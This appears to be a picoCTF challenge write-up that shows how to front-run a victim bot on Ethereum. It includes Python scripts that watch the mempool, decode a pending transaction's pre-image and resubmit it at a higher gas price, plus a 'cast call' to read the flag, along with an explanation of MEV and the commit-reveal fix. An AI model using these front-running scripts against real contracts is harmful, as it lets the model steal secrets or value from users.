Description
A mysterious vault has been discovered on the blockchain. It's programmed to release a secret flag to anyone who can provide the correct pre-image to a specific hash. A Victim Bot has found the answer and is trying to submit it, but they are being very stingy with their gas price. Contract: here
cat FrontRunning.solgrep -E 'function getFlag|public.*flag|function unlock' FrontRunning.solSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Monitor the mempool for the victim's transaction
ObservationThe victim bot submits the correct pre-image at a very low gas price, so its transaction sits in the public mempool long enough to observe and decode before it is mined.Compute the function selector locally, watch pending txs for that selector hitting the contract, and ABI-decode the string argument out of the calldata.pythonpython3 << 'EOF' from web3 import Web3 from eth_utils import keccak from eth_abi import decode as abi_decode w3 = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>")) CONTRACT_ADDR = "<CONTRACT_ADDRESS>" # Compute the selector yourself - don't hard-code: UNLOCK_SELECTOR = keccak(b"unlock(string)")[:4].hex() # 'a96ce7aa' print("unlock(string) selector:", UNLOCK_SELECTOR) pending_filter = w3.eth.filter("pending") while True: for tx_hash in pending_filter.get_new_entries(): tx = w3.eth.get_transaction(tx_hash) if not tx or not tx["to"] or tx["to"].lower() != CONTRACT_ADDR.lower(): continue calldata = tx["input"].hex().removeprefix("0x") if not calldata.startswith(UNLOCK_SELECTOR): continue # Drop the 4-byte selector and ABI-decode the remaining args (pre_image,) = abi_decode(["string"], bytes.fromhex(calldata[8:])) print("Victim pre-image:", pre_image, "gasPrice:", tx["gasPrice"]) break EOFWhat didn't work first
Tried: Using w3.eth.get_block('pending') to find the victim transaction instead of a pending filter
A pending-block snapshot is one moment in time and misses the transaction entirely if it has not reached your node yet. A pending filter streams hashes as they arrive, so nothing slips past. Polling snapshots from Python is also too slow to reliably beat a mine.
Tried: Hardcoding the 4-byte selector as a fixed hex string copied from an online Keccak tool
If the function signature differs even slightly from what you hashed, a capital letter or stray whitespace, the hardcoded selector matches no calldata and the loop runs forever printing nothing. Compute the selector locally from the exact signature in the downloaded source.
Learn more
The Ethereum mempool (memory pool) is a waiting area for transactions that have been broadcast to the network but not yet included in a block. Because Ethereum is a public peer-to-peer network, every pending transaction is visible to every node, including its entire calldata (the function arguments being sent to the smart contract). This transparency is by design for a decentralised system, but it creates a privacy and fairness problem.
A function selector is the first 4 bytes of a transaction's calldata: the Keccak-256 hash of the function's signature truncated to 4 bytes. For
unlock(string)the selector iskeccak256("unlock(string)")[:4]. By filtering pending transactions that call your contract and match this selector, you can identify the victim's transaction and ABI-decode thestringargument (the pre-image) from the remaining calldata bytes.In real Ethereum, professional MEV (Maximal Extractable Value) searchers run highly optimised mempool monitoring bots that detect profitable opportunities (arbitrage, liquidations, sandwich attacks) within milliseconds of a transaction appearing. The ecosystem around MEV includes specialised relay networks like Flashbots which allow searchers to submit bundles directly to block builders without broadcasting them publicly, partially mitigating mempool-based attacks.
Step 2Front-run with a higher gas price
ObservationThat low gas price means builders deprioritize the transaction, leaving a window to submit the same pre-image at a higher price and land first.Submit the same pre-image with a strictly higher gas price than the victim. Use a minimal ABI fragment for the unlock function so you don't need the full Solidity build artifacts.pythonpython3 << 'EOF' from web3 import Web3 from eth_account import Account w3 = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>")) acct = Account.from_key("YOUR_PRIVATE_KEY") CONTRACT_ADDR = "<CONTRACT_ADDRESS>" pre_image = "EXTRACTED_PREIMAGE" victim_gas_price = w3.to_wei(1, "gwei") # whatever the mempool tx had # Minimal ABI fragment - just the function we want to call. ABI = [{ "type": "function", "name": "unlock", "stateMutability": "nonpayable", "inputs": [{"name": "preImage", "type": "string"}], "outputs": [], }] contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI) tx = contract.functions.unlock(pre_image).build_transaction({ "from": acct.address, "gas": 200_000, "gasPrice": victim_gas_price * 2, # comfortably higher than victim "nonce": w3.eth.get_transaction_count(acct.address), }) signed = acct.sign_transaction(tx) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) print("front-run tx:", tx_hash.hex()) EOFWhat didn't work first
Tried: Sending the front-run transaction with the same gas price as the victim instead of a strictly higher one
At identical gas prices, ordering is up to the builder and usually favors whichever arrived first. The victim broadcast before you, so a tie lands you second, the victim unlocks the contract, and getFlag gives you nothing. Any price strictly above theirs sorts you ahead.
Tried: Calling contract.functions.unlock(pre_image).transact() instead of build_transaction / sign / send_raw_transaction
transact() only works when web3 has an unlocked account on the node, through an injected provider or a local test chain. Against a remote RPC you hold a raw private key and no unlocked account, so it raises an error about no accounts available. Build the transaction, sign it, and send the raw bytes.
Learn more
Front-running is the act of inserting your transaction ahead of a known pending transaction by paying a higher gas price. Ethereum miners (and now validators under Proof-of-Stake) are free to order transactions within a block however they choose; the dominant strategy is to order by gas price descending (highest gas price first) because they earn the gas fees. Paying more gas guarantees your transaction is processed before the victim's lower-gas transaction.
This is a critical vulnerability in any smart contract that gates access to a secret via a hash pre-image commitment scheme. The contract hashes the submitted string and compares to a stored hash, so anyone who knows the correct string can call it. But because Ethereum is public, the correct string is exposed in the mempool before the block is mined. The contract design is fundamentally broken for secrets: you cannot use Ethereum as a secret-sharing channel without cryptographic commitments or commit-reveal schemes.
The correct fix is a commit-reveal scheme: in the commit phase, participants submit
keccak256(secret || salt || sender_address)(a hash that binds the secret to the sender without revealing it). In the reveal phase (a later block), they submit the actual secret, and the contract verifies the pre-committed hash. Front-runners cannot exploit the reveal because the hash binds the secret to the original sender's address.Step 3Read the flag
ObservationThe contract exposes getFlag(), so once your transaction is confirmed first, a read-only call retrieves the flag with no further gas.After your transaction is mined before the victim's, call the contract's getFlag() function to retrieve the flag.bashcast call CONTRACT_ADDR 'getFlag()(string)' --rpc-url http://HOST:PORTExpected output
picoCTF{m3mp00l_h31st_...}Learn more
castis part of Foundry, the modern Solidity development toolkit.cast callmakes a read-only (view) call to a smart contract function: it does not send a transaction or consume gas, and it returns the function's return value. The function signature string'getFlag()(string)'tells cast both the input type (none) and output type (string) so it can ABI-encode the call and decode the result. Confirm the function actually exists in the source first (grep -E 'function getFlag|public.*flag' FrontRunning.sol) - some challenges name itflag()or store the flag in a public state variable instead, in which case the auto-generated getter has the same name.Front-running and other MEV attacks extracted over $1 billion of value from Ethereum users in the years following the DeFi boom. The broader MEV problem (which includes sandwich attacks, back-running, and time-bandit attacks) has driven significant research into solutions including private mempools, fair ordering protocols (like Chainlink's Fair Sequencing Services), and cryptographic techniques (threshold encryption of transaction contents until they are sequenced).
This challenge is a clean, minimal demonstration of why public blockchains cannot be used as secret-communication channels without additional cryptography. Any value or secret you send in a transaction's calldata is visible to the entire world before it is confirmed. See Smart Contract CTF Bugs for the full taxonomy of EVM-level vulnerabilities.
Interactive tools
- Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.
- Number Base ConverterConvert numbers between binary, octal, decimal, and hexadecimal instantly. Enter any value and see all four bases update in real time.
Flag
Reveal flag
picoCTF{m3mp00l_h31st_...}
Monitor the mempool for the victim's low-gas transaction, extract the pre-image, and resubmit with higher gas to get mined first.